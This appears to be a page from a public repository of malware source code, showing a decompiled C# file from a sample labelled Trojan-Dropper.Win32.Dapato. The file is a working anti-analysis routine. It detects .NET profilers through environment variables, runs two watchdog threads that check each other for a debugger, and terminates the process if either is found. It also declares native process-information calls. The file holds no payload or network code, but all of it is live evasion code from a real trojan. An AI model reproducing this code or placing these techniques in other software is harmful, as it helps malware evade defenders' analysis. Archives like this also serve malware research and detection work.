MalwareSourceCode/MSIL/Trojan-Dropper/Win32/D/Trojan-Dropper.Win32.Dapato.awqq-edab95afd20436274ac39e7bbd9b33db4903ad56017b194e3d2cdd8b211b0f3e/倍鄻⶗�聍˵ꆬ.cs
2022-08-18 06:28:56 -05:00

78 lines
2.7 KiB
C#
Raw Blame History

// Decompiled with JetBrains decompiler
// Type: 倍鄻⶗<E984BB>聍˵ꆬ
// Assembly: Inclorofom, Version=1.1.5.6, Culture=neutral, PublicKeyToken=null
// MVID: A522D052-C5DC-490C-B0ED-0BBC19A34C0E
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Dropper.Win32.Dapato.awqq-edab95afd20436274ac39e7bbd9b33db4903ad56017b194e3d2cdd8b211b0f3e.exe
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Threading;
internal static class \u2D97\uFFFD\uEF6C聍\u02F5ꆬ
{
[DllImport("ntdll.dll", EntryPoint = "NtQueryInformationProcess", CallingConvention = CallingConvention.StdCall, SetLastError = true, PreserveSig = false)]
private static extern int \uF1BE铰崘\uFFFD䉩(
IntPtr ProcessHandle,
int ProcessInformationClass,
byte[] ProcessInformation,
uint ProcessInformationLength,
out int ReturnLength);
[DllImport("ntdll.dll", EntryPoint = "NtSetInformationProcess", CallingConvention = CallingConvention.StdCall, SetLastError = true, PreserveSig = false)]
private static extern uint \uF092됃戏잦ᰐ䣩㼑촓(
IntPtr ProcessHandle,
int ProcessInformationClass,
byte[] ProcessInformation,
uint ProcessInformationLength);
[DllImport("kernel32.dll", EntryPoint = "CloseHandle", PreserveSig = false)]
private static extern bool \uA9FF亗\u2E54Ợ㝕(IntPtr hObject);
public static void \u1AF4鱛렪뜾㶘䄋()
{
switch (Environment.GetEnvironmentVariable("COR_ENABLE_PROFILING"))
{
case null:
switch (Environment.GetEnvironmentVariable("COR_PROFILER"))
{
case null:
break;
default:
goto label_1;
}
break;
default:
label_1:
Environment.FailFast("Profiler detected");
break;
}
Thread parameter1 = new Thread(new ParameterizedThreadStart(\u2D97\uFFFD\uEF6C聍\u02F5ꆬ.\uE4E0\u3371缣));
Thread parameter2 = new Thread(new ParameterizedThreadStart(\u2D97\uFFFD\uEF6C聍\u02F5ꆬ.\uE4E0\u3371缣));
parameter1.IsBackground = true;
parameter2.IsBackground = true;
parameter1.Start((object) parameter2);
Thread.Sleep(500);
parameter2.Start((object) parameter1);
}
private static void \uE4E0\u3371缣(object thread)
{
Thread.Sleep(1000);
Thread thread1 = (Thread) thread;
while (true)
{
if (Debugger.IsAttached || Debugger.IsLogging())
Environment.FailFast("Debugger detected (Managed)");
if (!thread1.IsAlive)
goto label_2;
label_1:
Thread.Sleep(1000);
continue;
label_2:
Environment.FailFast("Loop broken");
goto label_1;
}
}
}